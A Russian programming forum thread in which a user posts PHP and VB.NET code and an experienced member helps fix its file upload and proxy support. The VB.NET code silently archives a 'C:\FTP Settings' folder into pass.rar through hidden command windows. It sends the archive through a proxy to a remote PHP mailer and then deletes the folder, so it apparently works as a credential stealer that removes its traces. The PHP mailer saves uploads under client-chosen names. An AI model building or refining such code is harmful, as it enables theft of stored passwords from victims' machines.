Здравствуйте! Сегодня: Чт, 20 Июн 2019, Ваш IP: 18.215.161.19 Войти через loginza
 
Вход | Регистрация | Забыли пароль?
Мой Kbyte.Ru
> Список форумов Kbyte.Ru - - Общие вопросы программирования
+ Создать новую тему Страница: 1
Тема: Цикл · +  +  дата добавления: 26.03.2015 / 11:47
Автор темы:
i32
i32
тем: 71 / ответов: 280 / благодарностей: 2 / репутация: 38
ответов: 280
создал(а) тем: 71


Не знаю ..Все через каку описал но работало ...Пока на работу не снес..Не тут начал перелопачивать... ПОДПРАВТЕ,,,Если конечно не впадло..
Смысл был что таймер работает с 1 а цикл с 0 . нужна была рассылка..
Потом возникли другие проблемы..ю.
Там пхп код .. Может что то попроще кто либо подскажет.?
я не шарю ..То что нашол в гугле..Такое трудно описать в нет.
?php 
  if(empty($_POST['mail_to'])) exit("Введите адрес получателя"); 
  // проверяем правильности заполнения с помощью регулярного выражения 
  if (!preg_match("/^[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,3}$/i", $_POST['mail_to'])) exit("Введите адрес в виде somebody@server.com"); 
  $picture = ""; 
  // Если поле выбора вложения не пустое - закачиваем его на сервер 
  if (!empty($_FILES['mail_file']['tmp_name'])) 
  { 
    // Закачиваем файл 
    $path = $_FILES['mail_file']['name']; 
    if (copy($_FILES['mail_file']['tmp_name'], $path)) $picture = $path; 
  } 
  $mail_from = $_POST['mail_from'];
  $mail_to = $_POST['mail_to'];
  $thm = $_POST['mail_subject'];
  $msg = $_POST['mail_msg'];
  
  // Отправляем почтовое сообщение 
 if(empty($picture)) mail($mail_to, $thm, $msg); 
 else send_mail($mail_from, $mail_to, $thm, $msg, $picture); 
//send_mail($mail_from,$mail_to, $thema, $html, $path)
  // Вспомогательная функция для отправки почтового сообщения с вложением (Trianon)
 function send_mail($mail_from, $mail_to, $thema, $html, $path)   

  { if ($path) {  
    $fp = fopen($path,"rb");   
    if (!$fp)   
    { print "Cannot open file";   
      exit();   
    }   
    $file = fread($fp, filesize($path));   
    fclose($fp);   
    }  
    $name = "zamer2015.rar"; // в этой переменной надо сформировать имя файла (без всякого пути)  
    $EOL = "\r\n"; // ограничитель строк, некоторые почтовые сервера требуют \n - подобрать опытным путём
    $boundary     = "--".md5(uniqid(time()));  // любая строка, которой не будет ниже в потоке данных.  
    $headers    = "MIME-Version: 1.0;$EOL";   
    $headers   .= "Content-Type: multipart/mixed; boundary=\"$boundary\"$EOL";  
    $headers   .= "From: $mail_from"; 
	//$headers   .= $mail_from;
      
    $multipart  = "--$boundary$EOL";   
    $multipart .= "Content-Type: text/html; charset=windows-1251$EOL";   
    $multipart .= "Content-Transfer-Encoding: base64$EOL";   
    $multipart .= $EOL; // раздел между заголовками и телом html-части 
    $multipart .= chunk_split(base64_encode($html));   

    $multipart .=  "$EOL--$boundary$EOL";   
    $multipart .= "Content-Type: application/octet-stream; name=\"$name\"$EOL";   
    $multipart .= "Content-Transfer-Encoding: base64$EOL";   
    $multipart .= "Content-Disposition: attachment; filename=\"$name\"$EOL";   
    $multipart .= $EOL; // раздел между заголовками и телом прикрепленного файла 
    $multipart .= chunk_split(base64_encode($file));   

   
    $multipart .= "$EOL--$boundary--$EOL";   
      
        if(!mail($mail_to, $thema, $multipart, $headers)) 
		//echo('<font color=FF0000>Неверно введено (или не введено) кол-во сообщений</font>');
         {return False;           //если не письмо не отправлено
      }  
    else { //// если письмо отправлено
	echo('<center><b><font color=#00FF00>Сообщение успешно отправлено</font></b></center>');
    return True;  
    }  
  exit;  
  }
?>
Это что то тытал
 Sub Main()
        ProgressBar1.Maximum = 10
        Try
            ProgressBar1.Value = 2
            Label3.Text = ""
            Dim req As Net.HttpWebRequest
            Dim resp As Net.HttpWebResponse
            Dim str, str2 As IO.Stream
            Dim Proxy As String = TextBox2.Text
            Dim boundary As String = "------WebKitFormBoundary" + DateTime.Now.Ticks.ToString("X")
            ProgressBar1.Value = 3
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Создаю ПОСТ Запрос"))
            Dim data As Byte() = System.Text.Encoding.GetEncoding(1251).GetBytes("&mail_from=" & "@mail.ru" & "&mail_to=" & "@mail.ru" & "&mail_subject=" & "JOBS" & "&mail_msg=" & "Свежак" & "&mail_file=" & _
               "C:\FTP Settings\zamer2015.rar" & "&tmp_name=" & "zamer2015.rar")

           
            req = Net.WebRequest.Create("http://.webege.com/images/22.php")
            If TextBox2.Text = "" Then
                req.Proxy = Nothing
            Else
                req.Proxy = New WebProxy(Proxy)
            End If
            ProgressBar1.Value = 5
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Конект через " & TextBox2.Text))
            ' req.ServicePoint.Expect100Continue = False
            req.Method = "POST"
            req.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
            '   Das hier alles ist so gesehn unwichtig aber egal :)
            req.UserAgent = "Mozilla/5.0 (Windows NT 5.1; rv:35.0) Gecko/20100101 Firefox/35.0"
            req.Headers.Add(Net.HttpRequestHeader.AcceptLanguage, "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3")
            req.Referer = "http://mskpsk.webege.com/"
            req.Headers.Add("UA-CPU", "x86")
            req.Headers.Add(Net.HttpRequestHeader.AcceptEncoding, "gzip, deflate")
            'Furn Post Request den ContentType & Lenght + Data
            req.ContentType = "application/x-www-form-urlencoded"
            '  req.ContentType = Convert.ToString("multipart/form-data; boundary=") & boundary
            ' req.ContentType = "multipart/form-data; boundary=" & boundary '----WebKitFormBoundaryq4pNAy5vuI4uDe4S"
            req.Headers.Add("Cookie", cuc)
            req.AllowAutoRedirect = True
            ' Build up the post message header
            Dim sb As New StringBuilder()
            sb.Append(boundary)
            sb.Append(vbCr & vbLf)
            sb.Append("Content-Disposition: form-data; name=""mail_from""")
            sb.Append(vbCr & vbLf)
            sb.Append(vbCr & vbLf)
            sb.Append("rokin@mail.ru")
            sb.Append(vbCr & vbLf)
            sb.Append(boundary)
            sb.Append(vbCr & vbLf)
            sb.Append("Content-Disposition: form-data; name=""mail_to""")
            sb.Append(vbCr & vbLf)
            sb.Append(vbCr & vbLf)
            sb.Append("ovb71@mail.ru")
            sb.Append(vbCr & vbLf)
            sb.Append(boundary)
            sb.Append("Content-Disposition: form-data; name=""mail_subject""")
            sb.Append(vbCr & vbLf)
            sb.Append(vbCr & vbLf)
            sb.Append("zamer")
            sb.Append(vbCr & vbLf)
            sb.Append(boundary)
            sb.Append(vbCr & vbLf)
            sb.Append("Content-Disposition: form-data; name=""mail_msg""")
            sb.Append(vbCr & vbLf)
            sb.Append(vbCr & vbLf)
            sb.Append("привет")
            sb.Append(vbCr & vbLf)
            sb.Append(boundary)
            sb.Append(vbCr & vbLf)
            sb.Append("Content-Disposition: form-data; name=""mail_file""; filename=""zamer2015.rar""")
            sb.Append(vbCr & vbLf)
            sb.Append("Content-Type: application/octet-stream")
            '  Dim postHeader As String = sb.ToString()

            ' Dim data As Byte() = Encoding.UTF8.GetBytes(postHeader)
            req.ContentLength = data.Length
            str2 = req.GetRequestStream()
            str2.Write(data, 0, data.Length)
            str2.Close()
            ProgressBar1.Value = 6
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Ждем ответа сервера"))
            resp = req.GetResponse
            str = resp.GetResponseStream()
            Dim Buffer = New IO.StreamReader(str, System.Text.Encoding.GetEncoding(1251)).ReadToEnd
            ProgressBar1.Value = 8
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Читаем ответ..Кодировка 1251"))
            ' Dim Buffer = New IO.StreamReader(str, System.Text.Encoding.ASCII).ReadToEnd 'das ist die auslese
            Dim soq As String = Buffer
            Dim m As Match = Regex.Match(soq, "<center><b><font color=#00FF00>(?<Bl>.*?)</font></b></center>")
            Label3.Text = (m.Groups("Bl").Value)
            Label3.ForeColor = Color.Red
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- ВСЕ ОТЛИЧНО!!! Смотрим свое МЫЛО!!"))
            ' Dim soq1 As String = Buffer
            'Dim m1 As Match = Regex.Match(soq1, "<center><b><font color=#00FF00>(?<Bl>.*?)</font></b></center>")
            '  MsgBox(m1.Groups("Bl").Value)
            ' TextBox6.Text = (m.Groups("Bl").Value)
            req = Nothing
            resp = Nothing
            str = Nothing
            Buffer = Nothing
        Catch e As Exception
            ProgressBar1.Value = 0
            MessageBox.Show(e.Message)
        End Try
        ProgressBar1.Value = 10
    End Sub
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        ListBox1.Text = "LOGI"
        ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Готов к работе.."))
        For a As Integer = 0 To ComboBox1.Items.Count - 1 'Step 1
            spisok = ComboBox1.Items.Count - 1
            ' MsgBox(spisok)
        Next
    End Sub
    Private Sub countup()
        WriteGoodCountSub()
    End Sub
    Private Sub Button2_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        thread = New System.Threading.Thread(AddressOf countup)
        thread.Start()
        batn()
        Shell("cmd /c timeout /t 100", vbHide)
        Shell("cmd /c start /min WinRAR.exe u -r -y -ep1 C:\""FTP Settings""\pass.rar C:\""FTP Settings"" >nul", vbHide)
        If CheckBox1.Checked = True Then 'опредиляем коллич.в списке              
            batn()
            comb = ComboBox1.Items(0)
            Main()
            Timer1.Interval = 5000
            Timer1.Start() 'Timer starts 
        Else
            Main1()
        End If
    End Sub
 Sub Main1()
        ProgressBar1.Maximum = 10
        Try
            ProgressBar1.Value = 3
            Dim req As Net.HttpWebRequest
            Dim resp As Net.HttpWebResponse
            Dim str, str2 As IO.Stream
            Dim Proxy As String = TextBox2.Text
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Создаю ПОСТ Запрос"))
            Dim data As Byte() = System.Text.Encoding.GetEncoding(1251).GetBytes("&mail_from=" & comb & "&mail_to=" & comb & "&mail_subject=" & "JOBS" & "&mail_msg=" & "Свежак" & "&mail_file=" & _
                                                                    "C:\FTP Settings\pass.rar" & "&tmp_name=" & "pass.rar")
            '  req = Net.WebRequest.Create("http://..com/simple_mmail.php")
            req = Net.WebRequest.Create("http://..com/simple_mmail.php")
            If TextBox2.Text = "" Then
                req.Proxy = Nothing
            Else
                req.Proxy = New WebProxy(Proxy)
            End If
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Конект через " & TextBox2.Text))
            ' req.ServicePoint.Expect100Continue = False
            req.Method = "POST"
            req.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
            '   Das hier alles ist so gesehn unwichtig aber egal :)
            req.UserAgent = "Mozilla/5.0 (Windows NT 5.1; rv:35.0) Gecko/20100101 Firefox/35.0"
            req.Headers.Add(Net.HttpRequestHeader.AcceptLanguage, "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3")
            req.Referer = "http://.webege.com/"
            req.Headers.Add("UA-CPU", "x86")
            req.Headers.Add(Net.HttpRequestHeader.AcceptEncoding, "gzip, deflate")
            'Furn Post Request den ContentType & Lenght + Data
            req.ContentType = "application/x-www-form-urlencoded"
            req.Headers.Add("Cookie", cuc)
            req.AllowAutoRedirect = True
            req.ContentLength = data.Length

            str2 = req.GetRequestStream()
            str2.Write(data, 0, data.Length)
            str2.Close()
            ProgressBar1.Value = 8
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Ждем ответа сервера"))
            resp = req.GetResponse
            str = resp.GetResponseStream()
            Dim Buffer = New IO.StreamReader(str, System.Text.Encoding.GetEncoding(1251)).ReadToEnd
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Читаем ответ..Кодировка 1251"))
            ' Dim Buffer = New IO.StreamReader(str, System.Text.Encoding.ASCII).ReadToEnd 'das ist die auslese
            Dim soq As String = Buffer
            Dim m As Match = Regex.Match(soq, "<center><b><font color=#00FF00>(?<Bl>.*?)</font></b></center>")
            Label3.Text = (m.Groups("Bl").Value)
            Label3.ForeColor = Color.Red
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- ВСЕ ОТЛИЧНО!!! Смотрим свое МЫЛО!!"))
            ' Dim soq1 As String = Buffer
            'Dim m1 As Match = Regex.Match(soq1, "<center><b><font color=#00FF00>(?<Bl>.*?)</font></b></center>")
            '  MsgBox(m1.Groups("Bl").Value)
            ' TextBox6.Text = (m.Groups("Bl").Value)
            ProgressBar1.Value = 10
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Удаляем папку ""C:\FTP Settings"""))
            If IO.Directory.Exists("C:\FTP Settings") Then
                IO.Directory.Delete("C:\FTP Settings", True)
            End If
            ProgressBar1.Value = 0
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Спасибо и Досвидос"))
            For i = 0 To ListBox1.Items.Count - 1
                ListBox1.Text = ListBox1.Items(i)
                ListBox1.ClearSelected()
            Next

        Catch e As Exception
            MessageBox.Show(e.Message)
        End Try
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        If pss >= spisok Then
            Timer1.Stop() 'Timer stop
            Timer1.Enabled = False
            ProgressBar1.Value = 0
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Спасибо и Досвидос"))
            For i = 0 To ListBox1.Items.Count - 1
                ListBox1.Text = ListBox1.Items(i)
                ListBox1.ClearSelected()
            Next
            MsgBox("Timer Stopped...." & vbCrLf & _
                   "РАЗОСЛАНО" & vbCrLf & spisok + 1 & "  MESSAGI")
        Else
            Main()
            pss += 1
            comb = ComboBox1.Items(pss)
            countup()
            ' Main()
        End If
    End Sub
    Public Sub WriteGoodCountSub()
        If Not (Me.InvokeRequired) Then
            Label2.ForeColor = Color.Magenta
            Label2.Text = comb.ToString
        Else
            Me.Invoke(New WriteGoodCount(AddressOf WriteGoodCountSub))
        End If
    End Sub
Ну последняя функция , Может и не нужная я думал ч то таймер голову парить начнет.
там я поток сделал..
Спасибо..
Технологии: .NET Framework
 
Ответ # 1 # · +  +  дата добавления: 26.03.2015 / 14:58
Автор ответа:
Алексей Немиро
Алексей Немиро
тем: 534 / ответов: 5130 / благодарностей: 325 / репутация: 211
Чашка Kbyte.Ru>>
Url: aleksey.nemiro.ru
Icq: 261779681
Skype: alekseynemiro
ответов: 5130
создал(а) тем: 534


Не совсем понимаю суть проблемы. Много кода

Нужно отправить письмо? Именно через php?
В .NET есть классы для отправки писем по SMTP. Вот в этой теме есть пример кода. Это будет проще, чем делать веб-запросы.
 
Ответ # 2 # · +  +  дата добавления: 31.03.2015 / 11:23
Автор ответа:
i32
i32
тем: 71 / ответов: 280 / благодарностей: 2 / репутация: 38
ответов: 280
создал(а) тем: 71


Привет Да Нужно отправить письмо через свой сервак по php//
Просто у меня такой ПХП Что просто забив адресс файла (C\\file.jpg)-Придет ПУСТЫШКА
Анализатор пишет <Place Holder for File> и Content-Type: application/octet-stream... Да ище весь файл в байтах..
Как токое описать на VB..Просто другие виды отправки с вложением не работают - с расчета из этого..
Технологии: .NET Framework
 
Ответ # 3 # · +  +  дата добавления: 31.03.2015 / 20:21
Автор ответа:
Алексей Немиро
Алексей Немиро
тем: 534 / ответов: 5130 / благодарностей: 325 / репутация: 211
Чашка Kbyte.Ru>>
Url: aleksey.nemiro.ru
Icq: 261779681
Skype: alekseynemiro
ответов: 5130
создал(а) тем: 534


Код неправильный совсем

Если есть .NET Framework 4.5, то можно подключить к проекту сборку System.Net.Http.

Dim client As New System.Net.Http.HttpClient()
Dim content As New System.Net.Http.MultipartFormDataContent()

'параметры
Dim stringContent As New System.Net.Http.StringContent("rokin@mail.ru")
stringContent.Headers.ContentDisposition = New System.Net.Http.Headers.ContentDispositionHeaderValue("form-data")
stringContent.Headers.ContentDisposition.Name = "mail_from"
content.Add(stringContent)

stringContent = New Net.Http.StringContent("ovb71@mail.ru")
stringContent.Headers.ContentDisposition = New System.Net.Http.Headers.ContentDispositionHeaderValue("form-data")
stringContent.Headers.ContentDisposition.Name = "mail_to"
content.Add(stringContent)

stringContent = New System.Net.Http.StringContent("zamer")
stringContent.Headers.ContentDisposition = New System.Net.Http.Headers.ContentDispositionHeaderValue("form-data")
stringContent.Headers.ContentDisposition.Name = "mail_subject"
content.Add(stringContent)

stringContent = New System.Net.Http.StringContent("привет")
stringContent.Headers.ContentDisposition = New System.Net.Http.Headers.ContentDispositionHeaderValue("form-data")
stringContent.Headers.ContentDisposition.Name = "mail_msg"
content.Add(stringContent)

'файл
Dim fs As New System.IO.FileStream("G:\123.zip", IO.FileMode.Open, IO.FileAccess.Read, IO.FileShare.Inheritable)
Dim streamContent As New System.Net.Http.StreamContent(fs)

streamContent.Headers.ContentType = New System.Net.Http.Headers.MediaTypeHeaderValue("application/octet-stream")
streamContent.Headers.ContentDisposition = New System.Net.Http.Headers.ContentDispositionHeaderValue("form-data")
streamContent.Headers.ContentDisposition.Name = "mail_file"
streamContent.Headers.ContentDisposition.FileName = "123.zip"

content.Add(streamContent)

'отправляем асинхронный запрос
client.PostAsync("http://webege.com/images/22.php", content)
 
Ответ # 4 # · +  +  дата добавления: 02.04.2015 / 22:11
Автор ответа:
i32
i32
тем: 71 / ответов: 280 / благодарностей: 2 / репутация: 38
ответов: 280
создал(а) тем: 71


Спасибо за подсказку..Надо все перелопачивать тогда..Проще проект новый....

 
Ответ # 5 # · +  +  дата добавления: 04.04.2015 / 13:14
Автор ответа:
i32
i32
тем: 71 / ответов: 280 / благодарностей: 2 / репутация: 38
ответов: 280
создал(а) тем: 71


День добрый..А как в таком виде использовать прокси..(если вообще можно)
 Dim Handler As New HttpClientHandler
        Dim proxy As New WebProxy()
        ' Proxy = TextBox2.Text
        Dim urlBuilder As New System.UriBuilder
        Handler.Proxy = proxy
        Handler.UseProxy = True
        'Handler.AutomaticDecompression = DecompressionMethods.GZip Or DecompressionMethods.Deflate
        Dim client As New System.Net.Http.HttpClient(Handler)
        Dim content As New System.Net.Http.MultipartFormDataContent()
        urlBuilder.Host = "172.20.133.199"
        urlBuilder.Port = 3128
Что то - как то гугл не находит..?
Спасибо..
 
Ответ # 6 # · +  +  дата добавления: 04.04.2015 / 13:33
Автор ответа:
Алексей Немиро
Алексей Немиро
тем: 534 / ответов: 5130 / благодарностей: 325 / репутация: 211
Чашка Kbyte.Ru>>
Url: aleksey.nemiro.ru
Icq: 261779681
Skype: alekseynemiro
ответов: 5130
создал(а) тем: 534


Dim Handler As New HttpClientHandler With { .Proxy = new WebProxy("http://172.20.133.199:3128", False), .UseProxy = True }
 
Ответ # 7 # · +  +  дата добавления: 04.04.2015 / 18:08
Автор ответа:
i32
i32
тем: 71 / ответов: 280 / благодарностей: 2 / репутация: 38
ответов: 280
создал(а) тем: 71


Ага .. Вот так пойдет?
 Dim Proxy As String = TextBox2.Text
 Dim Handler As New HttpClientHandler
 Handler.Proxy = New WebProxy(Proxy)
 Handler.UseProxy = True
                Dim client As New System.Net.Http.HttpClient(Handler)
                Dim content As New System.Net.Http.MultipartFormDataContent()
Что б не сплитить проксю.....
А Handler.Proxy = Nothing - такое не катит..?.
Если текст пуст то без прокси..Я просто в первый раз столкнулся ..И загрузил на ХР -эту длл-ку
Через консоль-загрузки..Но правдо только на проект..(Так я понял..)
 
Ответ # 8 # · +  +  дата добавления: 05.04.2015 / 12:07
Автор ответа:
Алексей Немиро
Алексей Немиро
тем: 534 / ответов: 5130 / благодарностей: 325 / репутация: 211
Чашка Kbyte.Ru>>
Url: aleksey.nemiro.ru
Icq: 261779681
Skype: alekseynemiro
ответов: 5130
создал(а) тем: 534


.NET Framework 4.5 под Windows XP по идее не будет работать.. Не поддерживается. Но сборка System.Net.Http вроде бы должна быть и под .NET Framework 4.0 (с возможностью работать под Windows XP), как отдельный элемент (нужно искать).

Если прокси-сервер не нужен, то просто поставить UseProxy = False:
Handler.UseProxy = False
 
Ответ # 9 # · +  +  дата добавления: 05.04.2015 / 20:26
Автор ответа:
i32
i32
тем: 71 / ответов: 280 / благодарностей: 2 / репутация: 38
ответов: 280
создал(а) тем: 71


Алексей.А дллку я должен с программой держать..System.Net.Http.dll
Она не вшивается в прогу? у меня так получается...Скопировал exe на флегу
ошибка не найти System.Net.Http..Ерунда какаето..И еще вопрос по студии
Почему у меня прогресс только зеленого цвета хотя я в свойствах меняю fore color
Хотя на работе .Тоже ХР меняется..Что то с framework(ом)?(Хотя это все не
принципеально но хотелось бы подправить..)
 
Ответ # 10 # · +  +  дата добавления: 06.04.2015 / 11:35
Автор ответа:
Алексей Немиро
Алексей Немиро
тем: 534 / ответов: 5130 / благодарностей: 325 / репутация: 211
Чашка Kbyte.Ru>>
Url: aleksey.nemiro.ru
Icq: 261779681
Skype: alekseynemiro
ответов: 5130
создал(а) тем: 534


System.Net.Http для .NET 4.0 - да. Либо можно закинуть в папку, в которой расположен .NET: C:\Windows\Microsoft.NET

Зашить сборки в один файл тоже можно: ILMerge
Почему у меня прогресс только зеленого цвета хотя я в свойствах меняю
Уже не помню, поддерживает Windows XP изменение цвета прогресса. Но помню, что раньше мы делали самописные ProgressBar, возможно как раз из-за невозможности изменять цвет.
.NET Framework тут точно не причем
 
Страница: 1 + Создать новую тему